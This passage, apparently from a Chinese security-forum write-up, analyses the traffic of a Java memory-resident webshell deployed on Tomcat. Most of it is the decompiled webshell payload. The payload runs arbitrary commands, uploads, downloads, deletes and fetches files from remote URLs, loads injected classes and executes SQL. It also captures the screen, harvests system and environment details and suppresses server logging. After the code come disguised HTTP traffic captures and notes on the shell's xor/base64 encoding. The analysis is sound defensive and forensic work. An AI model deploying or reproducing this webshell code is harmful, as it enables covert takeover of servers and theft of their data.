(Throwable var14) { var7.put("errMsg", var14.getMessage()); } var2.put(String.valueOf(var6), var7); } var2.put("count", String.valueOf(var5.length)); var2.put("currentDir", var3); } } else { var2.put("errMsg", "dir does not exist"); } } catch (Exception var15) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var15.getMessage()); var2.put("errMsg", var4.toString()); } } else { var2.put("errMsg", "No parameter dirName"); } return this.serialize(var2); } public String listFileRoot() { File[] var1 = File.listRoots(); String var2 = new String(); for(int var3 = 0; var3 < var1.length; ++var3) { var2 = var2 + var1[var3].getPath(); var2 = var2 + ";"; } return var2; } public byte[] fileRemoteDown() { String var1 = this.get("url"); String var2 = this.get("saveFile"); if (var1 != null && var2 != null) { FileOutputStream var3 = null; try { InputStream var4 = (new URL(var1)).openStream(); var3 = new FileOutputStream(var2); byte[] var9 = new byte[5120]; int var6; while((var6 = var4.read(var9)) != -1) { var3.write(var9, 0, var6); } var3.flush(); var3.close(); var4.close(); return "ok".getBytes(); } catch (Exception var8) { if (var3 != null) { try { var3.close(); } catch (IOException var7) { return var7.getMessage().getBytes(); } } StringBuffer var5 = new StringBuffer(); var5.append("Exception errMsg:"); var5.append(var8.getMessage()); return var5.toString().getBytes(); } } else { return "url or saveFile is null".getBytes(); } } public byte[] setFileAttr() { String var1 = this.get("type"); String var2 = this.get("attr"); String var3 = this.get("fileName"); String var4 = "Null"; if (var1 != null && var2 != null && var3 != null) { try { File var5 = new File(var3); if ("fileBasicAttr".equals(var1)) { Class var10001 = class$5; if (var10001 == null) { try { var10001 = Class.forName("java.io.File"); } catch (ClassNotFoundException var27) { throw new NoClassDefFoundError(var27.getMessage()); } class$5 = var10001; } if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) { if (var2.indexOf("R") != -1) { var5.setReadable(true); } if (var2.indexOf("W") != -1) { var5.setWritable(true); } if (var2.indexOf("X") != -1) { var5.setExecutable(true); } var4 = "ok"; } else { var4 = "Java version is less than 1.6"; } } else if ("fileTimeAttr".equals(var1)) { Date var29 = new Date(0L); StringBuffer var7 = new StringBuffer(); var7.append(var2); char[] var8 = new char[13 - var7.length()]; Arrays.fill(var8, '0'); var7.append(var8); var29 = new Date(var29.getTime() + Long.parseLong(var7.toString())); var5.setLastModified(var29.getTime()); var4 = "ok"; try { Class var9 = Class.forName("java.nio.file.Paths"); Class var10 = Class.forName("java.nio.file.Path"); Class var11 = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class var12 = Class.forName("java.nio.file.Files"); Class var13 = Class.forName("java.nio.file.attribute.FileTime"); Class var14 = Class.forName("[java.nio.file.LinkOption"); Class[] var10002 = new Class[2]; Class var10005 = class$3; if (var10005 == null) { try { var10005 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var25) { throw new NoClassDefFoundError(var25.getMessage()); } class$3 = var10005; } var10002[0] = var10005; var10005 = class$6; if (var10005 == null) { try { var10005 = Class.forName("[Ljava.lang.String;"); } catch (ClassNotFoundException var24) { throw new NoClassDefFoundError(var24.getMessage()); } class$6 = var10005; } var10002[1] = var10005; Method var15 = var9.getMethod("get", var10002); Method var16 = var13.getMethod("fromMillis", Long.TYPE); var10002 = new Class[]{var10, null, null}; var10005 = class$7; if (var10005 == null) { try { var10005 = Class.forName("java.lang.Class"); } catch (ClassNotFoundException var23) { throw new NoClassDefFoundError(var23.getMessage()); } class$7 = var10005; } var10002[1] = var10005; var10002[2] = var14; Method var17 = var12.getMethod("getFileAttributeView", var10002); Method var18 = var11.getMethod("setTimes", var13, var13, var13); Object var19 = var15.invoke((Object)null, var3, new String[0]); Object var20 = Array.newInstance(var14.getComponentType(), 0); Object var21 = var17.invoke((Object)null, var19, var11, var20); Object var22 = var16.invoke((Object)null, var29.getTime()); var18.invoke(var21, var22, var22, var22); } catch (Throwable var26) { } } else { var4 = "no ExcuteType"; } } catch (Throwable var28) { StringBuffer var6 = new StringBuffer(); var6.append("Exception errMsg:"); var6.append(var28.getMessage()); return var6.toString().getBytes(); } } else { var4 = "type or attr or fileName is empty"; } return var4.getBytes(); } public byte[] readFile() { String var1 = this.get("fileName"); if (var1 != null) { File var2 = new File(var1); try { if (var2.exists() && var2.isFile()) { if (var2.length() > 204800L) { return "The file is too large, please use the large file to download".getBytes(); } else { byte[] var3 = new byte[(int)var2.length()]; FileInputStream var4; if (var3.length > 0) { var4 = new FileInputStream(var2); var3 = this.readInputStream(var4, var3.length); var4.close(); } else { var3 = new byte[204800]; var4 = new FileInputStream(var2); int var5 = var4.read(var3); if (var5 > 0) { var3 = new byte[var5]; System.arraycopy(var3, 0, var3, 0, var3.length); } var4.close(); } return var3; } } else { return "file does not exist".getBytes(); } } catch (Exception var6) { return var6.getMessage().getBytes(); } } else { return "No parameter fileName".getBytes(); } } public byte[] uploadFile() { String var1 = this.get("fileName"); byte[] var2 = this.getByteArray("fileValue"); if (var1 != null && var2 != null) { try { File var3 = new File(var1); var3.createNewFile(); FileOutputStream var4 = new FileOutputStream(var3); var4.write(var2); var4.close(); return "ok".getBytes(); } catch (Exception var5) { return var5.getMessage().getBytes(); } } else { return "No parameter fileName and fileValue".getBytes(); } } public byte[] newFile() { String var1 = this.get("fileName"); if (var1 != null) { File var2 = new File(var1); try { return var2.createNewFile() ? "ok".getBytes() : "fail".getBytes(); } catch (Exception var5) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var5.getMessage()); return var4.toString().getBytes(); } } else { return "No parameter fileName".getBytes(); } } public byte[] newDir() { String var1 = this.get("dirName"); if (var1 != null) { File var2 = new File(var1); try { return var2.mkdirs() ? "ok".getBytes() : "fail".getBytes(); } catch (Exception var5) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var5.getMessage()); return var4.toString().getBytes(); } } else { return "No parameter fileName".getBytes(); } } public byte[] deleteFile() { String var1 = this.get("fileName"); String var2 = "mem://"; if (var1 != null) { if (var1.startsWith(var2)) { this.session.remove(var1); return "ok".getBytes(); } else { try { File var3 = new File(var1); this.deleteFiles(var3); return "ok".getBytes(); } catch (Exception var5) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var5.getMessage()); return var4.toString().getBytes(); } } } else { return "No parameter fileName".getBytes(); } } public byte[] moveFile() { String var1 = this.get("srcFileName"); String var2 = this.get("destFileName"); if (var1 != null && var2 != null) { File var3 = new File(var1); try { if (var3.exists()) { return var3.renameTo(new File(var2)) ? "ok".getBytes() : "fail".getBytes(); } else { return "The target does not exist".getBytes(); } } catch (Exception var6) { StringBuffer var5 = new StringBuffer(); var5.append("Exception errMsg:"); var5.append(var6.getMessage()); return var5.toString().getBytes(); } } else { return "No parameter srcFileName,destFileName".getBytes(); } } public byte[] copyFile() { String var1 = this.get("srcFileName"); String var2 = this.get("destFileName"); if (var1 != null && var2 != null) { File var3 = new File(var1); File var4 = new File(var2); try { if (var3.exists() && var3.isFile()) { FileInputStream var5 = new FileInputStream(var3); FileOutputStream var6 = new FileOutputStream(var4); byte[] var7 = new byte[5120]; int var8; while((var8 = var5.read(var7)) > -1) { var6.write(var7, 0, var8); } var5.close(); var6.close(); return "ok".getBytes(); } else { return "The target does not exist or is not a file".getBytes(); } } catch (Exception var9) { return var9.getMessage().getBytes(); } } else { return "No parameter srcFileName,destFileName".getBytes(); } } public byte[] include() { byte[] var1 = this.getByteArray("binCode"); String var2 = this.get("codeName"); if (var1 != null && var2 != null) { try { JacksonAnnotationIntrospector var3 = new JacksonAnnotationIntrospector(this.getClass().getClassLoader()); Class var4 = var3.defineClass(var1); this.session.put(var2, var4); return "ok".getBytes(); } catch (Exception var5) { return this.session.get(var2) != null ? "ok".getBytes() : var5.getMessage().getBytes(); } } else { return "No parameter binCode,codeName".getBytes(); } } public byte[] execCommand() { String var1 = this.get("argsCount"); if (var1 != null && var1.length() > 0) { int var2 = Integer.parseInt(var1); String[] var3 = new String[var2]; for(int var4 = 0; var4 < var3.length; ++var4) { var3[var4] = this.get("arg-" + var4); } try { Process var11 = Runtime.getRuntime().exec(var3); if (var11 == null) { return "Unable to start process".getBytes(); } else { InputStream var12 = var11.getInputStream(); InputStream var6 = var11.getErrorStream(); ByteArrayOutputStream var7 = new ByteArrayOutputStream(1024); byte[] var8 = new byte[1042]; int var9; if (var12 != null) { while((var9 = var12.read(var8)) > 0) { var7.write(var8, 0, var9); } } if (var6 != null) { while((var9 = var6.read(var8)) > 0) { var7.write(var8, 0, var9); } } return var7.toByteArray(); } } catch (Exception var10) { StringBuffer var5 = new StringBuffer(); var5.append("Exception errMsg:"); var5.append(var10.getMessage()); return var5.toString().getBytes(); } } else { return "No parameter argsCount".getBytes(); } } public byte[] getBasicsInfo() { String var1 = ""; try { Enumeration var2 = System.getProperties().keys(); var1 = var1 + "FileRoot : " + this.listFileRoot() + "\n"; var1 = var1 + "CurrentDir : " + (new File("")).getAbsoluteFile() + "/" + "\n"; var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "\n"; var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n"; String var9; try { var9 = System.getProperty("java.io.tmpdir"); char var4 = var9.charAt(var9.length() - 1); if (var4 != '\\' && var4 != '/') { var9 = var9 + File.separator; } var1 = var1 + "TempDirectory : " + var9 + "\n"; } catch (Exception var7) { } var1 = var1 + "RealFile : " + this.getRealPath() + "\n"; try { var1 = var1 + "OsInfo : os.name: " + System.getProperty("os.name") + " os.version: " + System.getProperty("os.version") + " os.arch: " + System.getProperty("os.arch") + "\n"; } catch (Exception var6) { var1 = var1 + "OsInfo : " + var6.getMessage() + "\n"; } for(var1 = var1 + "IPList : " + getLocalIPList() + "\n"; var2.hasMoreElements(); var1 = var1 + var9 + " : " + System.getProperty(var9) + "\n") { var9 = (String)var2.nextElement(); } Map var11 = this.getEnv(); String var10; if (var11 != null) { for(Iterator var5 = var11.keySet().iterator(); var5.hasNext(); var1 = var1 + var10 + " : " + var11.get(var10) + "\n") { var10 = (String)var5.next(); } } return var1.getBytes(); } catch (Exception var8) { StringBuffer var3 = new StringBuffer(); var3.append(var1); var3.append("Exception errMsg:"); var3.append(var8.getMessage()); return var3.toString().getBytes(); } } public byte[] screen() { try { Robot var1 = new Robot(); BufferedImage var6 = var1.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height)); ByteArrayOutputStream var3 = new ByteArrayOutputStream(); ImageIO.write(var6, "png", ImageIO.createImageOutputStream(var3)); byte[] var4 = var3.toByteArray(); var3.close(); return var4; } catch (Throwable var5) { StringBuffer var2 = new StringBuffer(); var2.append("Exception errMsg:"); var2.append(var5.getMessage()); return var2.toString().getBytes(); } } public byte[] execSql() throws Exception { String var1 = this.get("dbCharset"); String var2 = this.get("jdbcURL"); String var3 = this.get("dbDriver"); String var4 = this.get("dbUsername"); String var5 = this.get("dbPassword"); String var6 = this.get("execType"); if (var1 == null || var1.trim().length() > 0) { var1 = "UTF-8"; } String var7 = new String(this.getByteArray("execSql"), var1); HashMap var8 = new HashMap(); if (var4 != null && var5 != null && var6 != null && var7 != null) { try { try { if (var3 != null) { Class.forName(var3); } } catch (Throwable var30) { } try { Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); } catch (Throwable var29) { } try { Class.forName("oracle.jdbc.driver.OracleDriver"); } catch (Throwable var28) { try { Class.forName("oracle.jdbc.OracleDriver"); } catch (Throwable var27) { } } try { Class.forName("com.mysql.cj.jdbc.Driver"); } catch (Throwable var26) { try { Class.forName("com.mysql.jdbc.Driver"); } catch (Throwable var25) { } } try { Class.forName("org.postgresql.Driver"); } catch (Throwable var24) { } if (var2 != null) { try { Connection var9 = null; try { var9 = getConnection(var2, var4, var5); } catch (Exception var23) { } if (var9 == null) { var9 = DriverManager.getConnection(var2, var4, var5); } Statement var10 = var9.createStatement(); if (var6.equals("select")) { ResultSet var11 = var10.executeQuery(var7); ResultSetMetaData var12 = var11.getMetaData(); int var13 = var12.getColumnCount(); HashMap var14 = new HashMap(); for(int var15 = 0; var15 < var13; ++var15) { var14.put(String.valueOf(var15), var12.getColumnName(var15 + 1)); } var14.put("count", String.valueOf(var13)); var8.put("column", var14); HashMap var34 = new HashMap(); int var16 = 0; for(int var17 = 0; var11.next(); ++var17) { HashMap var18 = new HashMap(); for(int var19 = 0; var19 < var13; ++var19) { Object var20 = var11.getObject(var19 + 1); String var21 = null; if (var20 == null) { var21 = "NULL"; } else { Class var10000 = class$2; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var22) { throw new NoClassDefFoundError(var22.getMessage()); } class$2 = var10000; } if (var10000.isInstance(var20)) { var21 = this.base64Encode((byte[])var20); } else { var21 = var20.toString(); } } var18.put(String.valueOf(var19), var21); } ++var16; var34.put(String.valueOf(var17), var18); } var34.put("count", String.valueOf(var16)); var8.put("rows", var34); var11.close(); var10.close(); var9.close(); } else { int var33 = var10.executeUpdate(var7); var10.close(); var9.close(); var8.put("errMsg", "Query OK, " + var33 + " rows affected"); } } catch (Exception var31) { var8.put("errMsg", var31.getMessage()); } } else { var8.put("errMsg", "This database is not supported"); } } catch (Exception var32) { var8.put("errMsg", var32.getMessage()); } } else { var8.put("errMsg", "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql"); } return this.serialize(var8); } public byte[] close() { try { String var1 = this.sessionId(); String var2 = this.get("operation"); if (var1 != null) { Map var7 = (Map)sessionMap.remove(var1); var7.put("alive", Boolean.FALSE); return "ok".getBytes(); } else if (var2 != null && "clearup".equals(var2)) { Iterator var3 = sessionMap.values().iterator(); while(var3.hasNext()) { Object var4 = var3.next(); Class var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("java.util.Map"); } catch (ClassNotFoundException var5) { throw new NoClassDefFoundError(var5.getMessage()); } class$0 = var10000; } if (var10000.isInstance(var4)) { ((Map)var4).put("alive", Boolean.FALSE); } } sessionMap.clear(); return "ok".getBytes(); } else { return "fail".getBytes(); } } catch (Exception var6) { return var6.getMessage().getBytes(); } } public byte[] bigFileUpload() { String var1 = this.get("fileName"); byte[] var2 = this.getByteArray("fileContents"); String var3 = this.get("position"); String var4 = "mem://"; int var5 = var3 == null ? 0 : Integer.parseInt(var3); Constructor var6 = null; try { try { Class var10000 = class$8; if (var10000 == null) { try { var10000 = Class.forName("java.io.RandomAccessFile"); } catch (ClassNotFoundException var11) { throw new NoClassDefFoundError(var11.getMessage()); } class$8 = var10000; } Class[] var10001 = new Class[2]; Class var10004 = class$3; if (var10004 == null) { try { var10004 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var10) { throw new NoClassDefFoundError(var10.getMessage()); } class$3 = var10004; } var10001[0] = var10004; var10004 = class$3; if (var10004 == null) { try { var10004 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var9) { throw new NoClassDefFoundError(var9.getMessage()); } class$3 = var10004; } var10001[1] = var10004; var6 = var10000.getConstructor(var10001); } catch (NoSuchMethodException var12) { var3 = null; } if (var1.startsWith(var4)) { if (var5 == 0) { this.session.put(var1, new ByteArrayOutputStream()); } ByteArrayOutputStream var7 = (ByteArrayOutputStream)this.session.get(var1); var7.write(var2); } else if (var3 == null) { FileOutputStream var14 = new FileOutputStream(var1, true); var14.write(var2); var14.flush(); var14.close(); } else { RandomAccessFile var15 = (RandomAccessFile)var6.newInstance(var1, "rw"); var15.seek((long)var5); var15.write(var2); var15.close(); } return "ok".getBytes(); } catch (Exception var13) { StringBuffer var8 = new StringBuffer(); var8.append("Exception errMsg:"); var8.append(var13.getMessage()); return var8.toString().getBytes(); } } public byte[] bigFileDownload() { String var1 = this.get("fileName"); String var2 = this.get("mode"); String var3 = this.get("readByteNum"); String var4 = this.get("position"); String var5 = "mem://"; try { if ("fileSize".equals(var2)) { return String.valueOf((new File(var1)).length()).getBytes(); } else if ("read".equals(var2)) { int var6 = Integer.valueOf(var4); int var12 = Integer.valueOf(var3); byte[] var8 = new byte[var12]; Object var9 = null; if (var1.startsWith(var5)) { var9 = (InputStream)this.session.get(var1); } else { var9 = new FileInputStream(var1); } ((InputStream)var9).skip((long)var6); int var10 = ((InputStream)var9).read(var8); ((InputStream)var9).close(); return var10 == var8.length ? var8 : copyOf(var8, var10); } else { return "no mode".getBytes(); } } catch (Exception var11) { StringBuffer var7 = new StringBuffer(); var7.append("Exception errMsg:"); var7.append(var11.getMessage()); return var7.toString().getBytes(); } } public static byte[] copyOf(byte[] var0, int var1) { byte[] var2 = new byte[var1]; System.arraycopy(var0, 0, var2, 0, Math.min(var0.length, var1)); return var2; } public Map getEnv() { try { Class var10000 = class$9; if (var10000 == null) { try { var10000 = Class.forName("java.lang.System"); } catch (ClassNotFoundException var1) { throw new NoClassDefFoundError(var1.getMessage()); } class$9 = var10000; } return (Map)var10000.getMethod("getenv").invoke((Object)null); } catch (Throwable var2) { return null; } } public static Connection getConnection(String var0, String var1, String var2) { Connection var3 = null; try { Class var10000 = class$10; if (var10000 == null) { try { var10000 = Class.forName("java.sql.DriverManager"); } catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage()); } class$10 = var10000; } Field[] var4 = var10000.getDeclaredFields(); Field var5 = null; for(int var6 = 0; var6 < var4.length; ++var6) { var5 = var4[var6]; if (var5.getName().indexOf("rivers") != -1) { var10000 = class$11; if (var10000 == null) { try { var10000 = Class.forName("java.util.List"); } catch (ClassNotFoundException var14) { throw new NoClassDefFoundError(var14.getMessage()); } class$11 = var10000; } if (var10000.isAssignableFrom(var5.getType())) { break; } } var5 = null; } if (var5 != null) { var5.setAccessible(true); List var18 = (List)var5.get((Object)null); Iterator var7 = var18.iterator(); while(var7.hasNext() && var3 == null) { try { Object var8 = var7.next(); Driver var9 = null; var10000 = class$12; if (var10000 == null) { try { var10000 = Class.forName("java.sql.Driver"); } catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage()); } class$12 = var10000; } if (!var10000.isAssignableFrom(var8.getClass())) { Field[] var10 = var8.getClass().getDeclaredFields(); for(int var11 = 0; var11 < var10.length; ++var11) { var10000 = class$12; if (var10000 == null) { try { var10000 = Class.forName("java.sql.Driver"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); } class$12 = var10000; } if (var10000.isAssignableFrom(var10[var11].getType())) { var10[var11].setAccessible(true); var9 = (Driver)var10[var11].get(var8); break; } } } if (var9 != null) { Properties var19 = new Properties(); if (var1 != null) { var19.put("user", var1); } if (var2 != null) { var19.put("password", var2); } var3 = var9.connect(var0, var19); } } catch (Exception var16) { } } } } catch (Exception var17) { } return var3; } public String sessionId() { byte[] var1 = this.getByteArray("sessionId"); return var1 != null ? new String(var1) : null; } public static String getLocalIPList() { ArrayList var0 = new ArrayList(); try { Class var1 = Class.forName("java.net.NetworkInterface"); Method var2 = var1.getMethod("getNetworkInterfaces"); Method var3 = var1.getMethod("getInetAddresses"); Enumeration var4 = (Enumeration)var2.invoke((Object)null); while(var4.hasMoreElements()) { Object var5 = var4.nextElement(); Enumeration var6 = (Enumeration)var3.invoke(var5); while(var6.hasMoreElements()) { InetAddress var7 = (InetAddress)var6.nextElement(); if (var7 != null) { String var8 = var7.getHostAddress(); var0.add(var8); } } } } catch (Throwable var9) { } Iterator var10 = var0.iterator(); StringBuffer var11 = new StringBuffer(); var11.append("["); while(var10.hasNext()) { Object var12 = var10.next(); var11.append(var12.toString()); var11.append(","); } if (var11.length() > 1) { var11.deleteCharAt(var11.length() - 1); } var11.append("]"); return var11.toString(); } public String getRealPath() { String var1 = (new File("")).getAbsoluteFile() + "/"; if (this.servletRequest != null) { try { Method var2 = this.getMethodByClass(this.servletRequest.getClass(), "getServletContext", new Class[0]); Object var3 = var2.invoke(this.servletRequest, (Object[])null); if (var3 != null) { Class var4 = var3.getClass(); Class[] var5 = new Class[1]; Class var10002 = class$3; if (var10002 == null) { try { var10002 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var8) { throw new NoClassDefFoundError(var8.getMessage()); } class$3 = var10002; } var5[0] = var10002; Method var6 = this.getMethodByClass(var4, "getRealPath", var5); if (var6 != null) { Object var7 = var6.invoke(var3, "/"); return var7 != null ? var7.toString() : var1; } } } catch (Throwable var9) { } } return var1; } public void deleteFiles(File var1) throws Exception { if (var1.isDirectory()) { File[] var2 = var1.listFiles(); for(int var3 = 0; var3 < var2.length; ++var3) { File var4 = var2[var3]; this.deleteFiles(var4); } } var1.delete(); } Object invoke(Object var1, String var2, Object[] var3) { try { ArrayList var4 = new ArrayList(); if (var3 != null) { for(int var5 = 0; var5 < var3.length; ++var5) { Object var6 = var3[var5]; if (var6 != null) { var4.add(var6.getClass()); } else { var4.add((Object)null); } } } Method var8 = this.getMethodByClass(var1.getClass(), var2, (Class[])var4.toArray(new Class[0])); return var8.invoke(var1, var3); } catch (Exception var7) { return null; } } Method getMethodByClass(Class var1, String var2, Class[] var3) { Method var4 = null; while(var1 != null) { try { var4 = var1.getDeclaredMethod(var2, var3); var1 = null; } catch (Exception var5) { var1 = var1.getSuperclass(); } } return var4; } public static Object getFieldValue(Object var0, String var1) throws Exception { Field var2 = null; if (var0 instanceof Field) { var2 = (Field)var0; } else { Class var3 = var0.getClass(); while(var3 != null) { try { var2 = var3.getDeclaredField(var1); var3 = null; } catch (Exception var4) { var3 = var3.getSuperclass(); } } } var2.setAccessible(true); return var2.get(var0); } private byte[] readInputStream(InputStream var1, int var2) { byte[] var3 = new byte[var2]; int var4 = 0; try { while((var4 += var1.read(var3, var4, var3.length - var4)) < var3.length) { } } catch (IOException var5) { } return var3; } public static String getRandomString(int var0) { String var1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; Random var2 = new Random(); StringBuffer var3 = new StringBuffer(); var3.append(var1.charAt(var2.nextInt(52))); var1 = var1 + "0123456789"; for(int var4 = 0; var4 < var0; ++var4) { int var5 = var2.nextInt(62); var3.append(var1.charAt(var5)); } return var3.toString(); } private void noLog(Object var1) { try { Method var2 = this.getMethodByClass(var1.getClass(), "getServletContext", (Class[])null); Object var3 = var2.invoke(var1, (Object[])null); Object var4 = getFieldValue(var3, "context"); Object var5 = getFieldValue(var4, "context"); ArrayList var6; for(var6 = new ArrayList(); var5 != null; var5 = this.invoke(var5, "getParent", (Object[])null)) { var6.add(var5); } label84: for(int var7 = 0; var7 < var6.size(); ++var7) { try { Object var8 = this.invoke(var6.get(var7), "getPipeline", (Object[])null); if (var8 != null) { Object var9 = this.invoke(var8, "getFirst", (Object[])null); while(true) { while(true) { if (var9 == null) { continue label84; } if (this.getMethodByClass(var9.getClass(), "getCondition", (Class[])null) != null) { Class var10001 = var9.getClass(); Class[] var10003 = new Class[1]; Class var10006 = class$3; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var14) { throw new NoClassDefFoundError(var14.getMessage()); } class$3 = var10006; } var10003[0] = var10006; if (this.getMethodByClass(var10001, "setCondition", var10003) != null) { String var10 = (String)this.invoke((String)var9, "getCondition", new Object[0]); var10 = var10 == null ? "FuckLog" : var10; this.invoke(var9, "setCondition", new Object[]{var10}); var10001 = var1.getClass(); var10003 = new Class[2]; var10006 = class$3; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage()); } class$3 = var10006; } var10003[0] = var10006; var10006 = class$3; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); } class$3 = var10006; } var10003[1] = var10006; Method var11 = this.getMethodByClass(var10001, "setAttribute", var10003); var11.invoke(var10, var10); var9 = this.invoke(var9, "getNext", (Object[])null); continue; } } if (Class.forName("org.apache.catalina.Valve", false, var4.getClass().getClassLoader()).isAssignableFrom(var9.getClass())) { var9 = this.invoke(var9, "getNext", (Object[])null); } else { var9 = null; } } } } } catch (Exception var15) { } } } catch (Exception var16) { } } public static int bytesToInt(byte[] var0) { int var1 = var0[0] & 255 | (var0[1] & 255) << 8 | (var0[2] & 255) << 16 | (var0[3] & 255) << 24; return var1; } public static byte[] intToBytes(int var0) { byte[] var1 = new byte[]{(byte)(var0 & 255), (byte)(var0 >> 8 & 255), (byte)(var0 >> 16 & 255), (byte)(var0 >> 24 & 255)}; return var1; } public String base64Encode(byte[] var1) { byte var2 = 0; int var3 = var1.length; byte[] var4 = new byte[4 * ((var1.length + 2) / 3)]; byte var5 = -1; boolean var6 = true; char[] var7 = toBase64; int var8 = var2; int var9 = (var3 - var2) / 3 * 3; int var10 = var2 + var9; if (var5 > 0 && var9 > var5 / 4 * 3) { var9 = var5 / 4 * 3; } int var11; int var12; int var13; for(var11 = 0; var8 < var10; var8 = var12) { var12 = Math.min(var8 + var9, var10); var13 = var8; int var15; for(int var14 = var11; var13 < var12; var4[var14++] = (byte)var7[var15 & 63]) { var15 = (var1[var13++] & 255) << 16 | (var1[var13++] & 255) << 8 | var1[var13++] & 255; var4[var14++] = (byte)var7[var15 >>> 18 & 63]; var4[var14++] = (byte)var7[var15 >>> 12 & 63]; var4[var14++] = (byte)var7[var15 >>> 6 & 63]; } var13 = (var12 - var8) / 3 * 4; var11 += var13; } if (var8 < var3) { var12 = var1[var8++] & 255; var4[var11++] = (byte)var7[var12 >> 2]; if (var8 == var3) { var4[var11++] = (byte)var7[var12 << 4 & 63]; if (var6) { var4[var11++] = 61; var4[var11++] = 61; } } else { var13 = var1[var8++] & 255; var4[var11++] = (byte)var7[var12 << 4 & 63 | var13 >> 4]; var4[var11++] = (byte)var7[var13 << 2 & 63]; if (var6) { var4[var11++] = 61; } } } return new String(var4); } } ``` 我们将如上内存马打进去,并没有任何反应, 我们尝试切换tomcat进行解析 ### 2.2 Tomcat 搭建 tomcat解析会报错,存在两个jar包缺失 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-56aa22fe0fd257d3fa3b8eb59ec71905c77c3922.png) 返回数据 ```php POST /ncupload/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: Content-Length: 208 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Type: application/json;charset=UTF-8 Content-Length: 290 Date: Mon, 25 Jul 2022 11:16:23 GMT Connection: close {"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}} ``` 我们此时发现,返回数据,没办法解密 ```php 流量2 POST /web_war_exploded/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: 127.0.0.1:8080 Content-Length: 208 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"} HTTP/1.1 200 Set-Cookie: JSESSIONID=D13E378AB0CFF03E93024BD85D16A115; Path=/web_war_exploded; HttpOnly Content-Type: application/json;charset=UTF-8 Content-Length: 290 Date: Sun, 31 Jul 2022 09:36:35 GMT Connection: close {"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p3LqSQ62BTyUngI/DkW9Tp3quXH4sRpwFYziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}} ``` 打完大马的第一个数据包 我们发送的数据是 ```php 6D6574686F644E616D65020400000074657374 ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-ae277ae60ea722c3cb67893f0fc636fc53c0c264.png) 我们尝试解密返回的数据 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-be2c8007e80031aaa60893cc8bf6ef000f1eb49b.png) 本地复现的返回包和报文一致 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e0cd784cc9bfb57925587969e22a3c8540e5a91e.png) 我们再来看我们的马, ```php 服务器数据 =》xor =》 base =》流量 流量 =》 base =》xor =》获得数据 ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-2dd5bca1da4aa19308c78303d505a448fe78cce4.png) 注入后,我们对于返回包的数据解码并不成功 